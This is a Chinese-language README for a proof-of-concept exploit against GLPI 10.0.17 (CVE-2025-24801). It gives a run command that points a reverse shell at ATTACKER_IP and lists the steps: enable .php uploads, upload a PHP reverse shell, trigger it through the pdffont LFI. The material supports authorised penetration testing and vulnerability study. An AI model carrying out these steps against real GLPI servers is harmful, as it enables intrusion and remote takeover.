CVE-2025-24801 PoC —— GLPI RCE 利用

本仓库包含一个概念验证脚本（poc.py），用于利用 GLPI 10.0.17 中的 LFI 到 RCE 漏洞（CVE-2025-24801）。它可以自动完成以下操作：

• 登录 GLPI
• 通过更新文档类型设置启用 .php 上传
• 通过 AJAX 文件上传端点上传 PHP 反向 shell

🛠️ 安装

git clone https://github.com/fatkz/CVE-2025-24801.git
cd CVE-2025-24801
pip install -r requirements.txt

🚀 用法

python3 poc.py \
  --url https://target.example.com/glpi \
  --user TECHNICIAN_USER \
  --password "PASSWORD" \
  --lhost ATTACKER_IP \
  --lport 4444

• --url：GLPI 实例的基础 URL（例如 https://example.com/glpi）
• --user / --password：有效的 GLPI 技术员凭据
• --lhost / --lport：攻击者 IP 和反向 shell 监听端口

脚本默认自动使用 --doc-id 1 更新第一个文档类型。

执行后，脚本将：

1. 登录并建立会话
2. 通过更新文档类型 ID 1 启用 .php 上传
3. 上传包含 PHP 反向 shell 有效载荷的 exploit.php

随后您需要手动触发 LFI：在 PDF 字体包含中指定上传的文件名（例如通过报告导出功能），从而实现 RCE。

📑 工作原理

1. 登录：从 /front/login.php 提取 CSRF 令牌，并提交凭据进行身份验证。
2. 启用 PHP 上传：获取 /front/documenttype.form.php?id=1，解析 CSRF 令牌，并将 php 添加到允许的扩展名列表中。
3. 上传 Shell：获取 /front/ticket.form.php 的 CSRF 令牌，然后使用 /ajax/fileupload.php（携带 X-Requested-With: XMLHttpRequest 头）上传 PHP 反向 shell。
4. 触发 RCE：手动调用 PDF 字体 LFI，在报告导出时将上传的 shell 文件名指定给 pdffont 参数。

⚠️ 免责声明

本工具仅用于授权的安全测试和教育目的。未经明确许可，请勿将其用于任何系统。

创建目的：教育和授权的渗透测试。